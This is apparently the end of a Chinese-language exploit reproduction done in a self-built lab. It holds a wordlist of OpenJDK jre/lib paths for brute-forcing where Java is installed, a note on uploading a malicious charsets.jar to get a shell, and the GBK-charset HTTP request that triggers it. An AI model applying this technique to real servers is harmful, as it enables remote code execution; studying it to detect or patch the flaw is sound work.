/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-2.b13.5.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-2.b17.7.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.77-0.b03.9.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.101-2.6.6.1.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.131-2.6.9.0.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.91-0.b14.10.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.141-2.6.10.1.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.171-2.6.13.0.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.191-2.6.15.4.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.101-3.b13.24.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-1.b15.25.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.121-0.b13.29.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-2.b11.30.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-1.b16.32.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.35.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.36.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-7.b10.37.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.38.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.42.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-0.43.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.45.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el7_5.x86_64-debug/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-8.b13.39.39.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el7_5.x86_64-debug/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el6_10.x86_64-debug/jre/lib/
以下getshell使用的是自己搭建的环境，
可以看到爆破出三个java环境的地址，并成功上传恶意的charsets.jar文件，
触发命令执行，
GET / HTTP/1.1
Host: 192.168.91.129:8886
Accept: text/html;charset=GBK
漏洞触发成功会在 /tmp/ 目录产生 charsets_test_[random-string].log 样式名字的文件，
END